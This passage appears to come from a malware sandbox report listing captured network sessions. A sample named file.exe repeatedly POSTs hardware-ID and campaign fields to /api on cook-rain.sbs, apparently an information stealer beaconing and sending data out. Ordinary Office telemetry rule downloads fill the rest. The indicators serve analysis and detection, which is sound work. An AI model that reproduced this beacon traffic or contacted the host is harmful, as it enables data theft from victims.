65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49735	188.114.96.3	443	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:27 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CNX8L1DOXP77F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12811 Host: cook-rain.sbs
2024-11-20 00:18:27 UTC	12811	OUT	Data Raw: 2d 2d 43 4e 58 38 4c 31 44 4f 58 50 37 37 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 45 35 33 46 33 44 32 35 34 39 37 43 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 43 4e 58 38 4c 31 44 4f 58 50 37 37 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 4e 58 38 4c 31 44 4f 58 50 37 37 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 43 4e 58 38 4c Data Ascii: --CNX8L1DOXP77FContent-Disposition: form-data; name="hwid"24E53F3D25497C1763CFCF7E6C45F838--CNX8L1DOXP77FContent-Disposition: form-data; name="pid"2--CNX8L1DOXP77FContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--CNX8L
2024-11-20 00:18:28 UTC	985	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=prd4keujipqm7c9jnqa05m7ev2; expires=Sat, 15-Mar-2025 18:05:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WgOkoDCbQj4G1qHuMs3KBiTTAw6fqolGb%2BbXyCwR953rRKhH16xaXCxLEXbcJcm08z%2BqOxgjUjgmSyfu9eXP9FTecpNHw6Xnh9iafLMzNfFSKk%2BIBe86HYu%2FBZOmPuH9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54434a0f3b425d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1690&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13743&delivery_rate=1693735&cwnd=186&unsent_bytes=0&cid=16ba317cb93a2e0e&ts=628&x=0"
2024-11-20 00:18:28 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 00:18:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:28 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001828Z-185f5d8b95cp7lkfhC1NYC7rpw00000009f000000000vzp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:28 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001828Z-185f5d8b95ckwnflhC1NYCx9qs00000009f000000000kd7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:28 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001828Z-185f5d8b95c4bhwphC1NYCs8gw00000009gg00000000ptmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 00:18:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:28 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001828Z-185f5d8b95c9mqtvhC1NYCghtc00000009f000000000mttm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:28 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001828Z-r1d97b9957789g82hC1TEBstx000000007zg00000000gk10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49741	188.114.96.3	443	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:28 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4QZP2164AAI7ESK9FEW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15089 Host: cook-rain.sbs
2024-11-20 00:18:28 UTC	15089	OUT	Data Raw: 2d 2d 34 51 5a 50 32 31 36 34 41 41 49 37 45 53 4b 39 46 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 45 35 33 46 33 44 32 35 34 39 37 43 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 34 51 5a 50 32 31 36 34 41 41 49 37 45 53 4b 39 46 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 51 5a 50 32 31 36 34 41 41 49 37 45 53 4b 39 46 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --4QZP2164AAI7ESK9FEWContent-Disposition: form-data; name="hwid"24E53F3D25497C1763CFCF7E6C45F838--4QZP2164AAI7ESK9FEWContent-Disposition: form-data; name="pid"2--4QZP2164AAI7ESK9FEWContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-20 00:18:29 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d1dld3v2pheto7c5gk8rmcfsn0; expires=Sat, 15-Mar-2025 18:05:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TvSIJ5mhrPFD0JHBvSrFlqGLDRtDxyu5S69eaSNwTIrOHLsdnp6WurJILT3Q5aMX%2BY%2FXN1sMtMJ5OdZepF2vzzjyLsxU6fkQz58vbfFHFdNgiiG8BwOesC7X1nEmfw6D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e544351be828cd6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1826&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2828&recv_bytes=16027&delivery_rate=1598248&cwnd=165&unsent_bytes=0&cid=4799979747991129&ts=665&x=0"
2024-11-20 00:18:29 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 00:18:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-1777c6cb754gvvgfhC1TEBz4rg00000008yg000000004xs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-1777c6cb754rz2pghC1TEBghen00000008ng00000000naa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:29 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-185f5d8b95csd4bwhC1NYCq7dc00000009bg00000000fpms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:29 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:29 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001829Z-1777c6cb7542p5p4hC1TEBq09800000008vg0000000076hk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:29 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 